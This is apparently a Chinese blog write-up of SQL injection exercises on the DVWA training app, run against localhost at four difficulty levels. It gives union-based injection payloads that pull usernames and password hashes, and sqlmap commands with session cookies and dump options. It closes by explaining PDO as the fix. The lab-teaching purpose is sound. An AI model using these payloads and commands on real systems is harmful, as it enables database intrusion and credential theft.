low:
手动注入:
判断注入点:
输入1,查询成功
输入1'进行查询,返回查询错误,判断对‘ 未进行过滤处理
输入1 and 1=1查询
输入1' or '1'='1,
遍历出了数据库中所有内容。
使用order by
来判断查询表的字段数
2 成功,3不成功
通过内置函数来获取关键信息
即是让内置查询函数代替当前的显示位。
version() user() database()
1' union select version(),database()#
查询版本及当前数据库
可以看出目前使用的数据库为dvwa,数据库所有者dvwa@localhost
接下来我们爆表试试
在mysql数据库中还有一个information_schema数据库,这时候就要利用它啦!
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。
什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
获取表名
或
获取user表的列名
从user表里查询user,password
最后使用hash或者md5破解密码
法二:
查看cookie
使用sqlmap 自动注入工具
设置cookie
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4"
存在注入
可以看到系统和服务器和数据库版本
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4" --dbs
-d 指定数据库 --tables 查看表
--columns 查看列
-C 指定参数 --dump 拉取数据
Med:
修改用户输入方式,不能在web手动输入
另外就是发送请求后,消息头变为post模式
使用BP抓包,
修改id参数重新发包
1' union select version(),database()#
请求失败
使用id =1 or 1=1#请求成功
猜测过滤了‘ 参数,说明注入属于数字型
查看源码:
增加了
mysqli_real_escape_string函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00 \n \r
\ ’ " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。>
输入 2 order by 2#测试可以看出字段有两个
然后测试方法和上相同
2 union select 1 ,database()#
查看数据库为dvwa
剩余步骤和low一样
使用sqlmap工具
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch
失败
由bP抓取的数据包分析,发送数据包为id=1---,可尝试增加data字段
尝试
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit"
其余攻击步骤和LOW相同
High:
用户需要点击连接然后跳转进行输入
查看源码:
可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#
High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
因为页面发生了跳转,使用sqlmap时,不能像MED级别时的方法
可以看到,这是从/session-input.php来的要去到我们之前的页面
/DVWA-1.9/vulnerabilities/sqli/
使用sqlmap
在同一个sqlmap操作命令中就需要包含这2个不同页面的url和其他关键信息,此时利用第一步需求分析中所提及的联合非常规的操作命令--second-url="xxxurl"一起尝试测试
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --cookie="security=high; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/"
后续步骤与low相同
impossibe:
源码
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为1时,才会成功输出。
PDO(PHP Data Objects)是一种在PHP里连接数据库的使用接口。PDO与mysqli曾经被建议用来取代原本PHP在用的mysql相关函数,基于数据库使用的安全性,因为后者欠缺对于SQL注入的防护。
参考: <https://blog.csdn.net/qq_43452198/article/details/89355817?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearch_pc_relevant>